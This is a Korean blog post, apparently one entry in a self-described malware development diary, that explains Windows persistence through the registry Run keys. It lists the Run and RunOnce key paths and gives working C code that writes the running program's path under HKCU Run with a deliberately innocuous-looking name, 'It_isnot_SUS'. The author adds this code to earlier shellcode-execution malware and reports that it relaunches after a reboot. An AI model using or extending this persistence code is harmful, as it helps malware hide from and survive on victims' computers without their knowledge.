악성코드의 지속
https://rninche01.tistory.com/entry/%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EC%A7%80%EC%86%8D%EB%A9%94%EC%BB%A4%EB%8B%88%EC%A6%98
↑지속 매커니즘이 잘 정리된 글
내 수준에선 레지스트리 조작, 시작폴더, 스케줄작업 쪽을 건드는 것이 나을 듯 하다.
레지스트리 조작
가장 일반적인 지속 매커니즘 중 하나다.
Run 레지스트리 키에 프로그램을 등록하면 윈도우 로딩과 동시에 프로그램이 알아서 켜진다
이러면 악성코드도 한번 실행만 하면 눈치채기 전까지는 마음껏 살아있을 수 있다!
Run과 관련된 registry key 모음
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
코드 구현
가장 간단한 HKCU\Software\Microsoft\Windows\CurrentVersion\Run을 이용하여 구현해보겠다.
RegOpenKeyExA와 같은 일반 문자용 함수를 쓰려니 글자가 자꾸 깨져서
유니코드를 쓰는 RegOpenKeyExW와 같은 W함수와 wchar_t자료형을 사용하였다. (문자열 앞에 L붙이는 것도 까먹지 않기!)
코드의 동작은 다음과 같다
- 등록할 내용 준비
표시될 이름, 절대경로 RegOpenKeyExW로 레지스트리 키 열기
HKEY_CURRENT_USER: 현재 로그인한 사용자의 설정으로 들어감
run 경로: 내 프로그램 경로
KEY_SET_VALUE: registry key를 수정할 수 있는 권한으로 들어감
반환 장소: hKey에 handle 반환RegSetValueExW로 레지스트리 편집
hKey: open한 registry편집 handle
valueName: 보여질 이름
0: 걍 0으로 둬야 함
REG_SZ: 단순 텍스트라 알려주기
data: 여기서는 Path를 적음
size: 데이터 사이즈 (byte)
https://learn.microsoft.com/ko-kr/windows/win32/api/winreg/nf-winreg-regsetvalueexw- 핸들 정리
#include <windows.h>
#include <stdio.h>
void persistency(){
HKEY hKey;
const wchar_t* valueName = L"It_isnot_SUS"; //표시 이름
// 프로그램의 절대 경로
wchar_t exePath[MAX_PATH];
DWORD length = GetModuleFileNameW(NULL, exePath, MAX_PATH);
printf("mypath: %ls\n", exePath);
// 레지스트리 키 열기 (KEY_SET_VALUE 권한으로 열기)
LONG result = RegOpenKeyExW(
HKEY_CURRENT_USER,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_SET_VALUE,
&hKey
);
if (result == ERROR_SUCCESS) {
// 2. 레지스트리 값 설정 (프로그램 경로 등록)
result = RegSetValueExW(
hKey,
valueName,
0,
REG_SZ, // 문자열 타입
(const BYTE*)exePath,
(wcslen(exePath) + 1) * sizeof(wchar_t) // 널 문자(\0) 포함 길이
);
if (result == ERROR_SUCCESS) {
printf("[+] registry success!\n");
}
else {
printf("error with code %ld\n", result);
}
// 3. 사용이 끝난 레지스트리 핸들 닫기
RegCloseKey(hKey);
}
else {
printf("failed to get registry key with error code %ld\n", result);
}
악성코드 개발일지 11에서 작성한 코드에 만든 persistency 함수를 추가해준다.

성공적으로 registry에 넣었다고 뜬다면...

Software\\Microsoft\\Windows\\CurrentVersion\\Run에 내가 설정한 이름과 내 프로그램의 주소가 적혀있는 것을 알 수 있다!

실제로 재부팅을 해보면 뜬금없이 cmd창과 함께 계산기가 뜨는 것을 알 수 있다.
내 악성코드가 성공적으로 띄워졌다!
'악성코드와 백신 > 악성코드 개발일지' 카테고리의 다른 글
| [악성코드 개발](13)[레지스트리 조작] (0) | 2026.03.19 |
|---|---|
| [악성코드 개발](11)[obfuscated-shellcode-excution] (0) | 2026.03.16 |
| [악성코드 개발](10)[local-payload-injection] (0) | 2026.03.12 |
| [악성코드 개발](9)[페이로드 암호화] (0) | 2026.03.11 |
| [악성코드 개발](8)[페이로드 난독화] (0) | 2026.03.10 |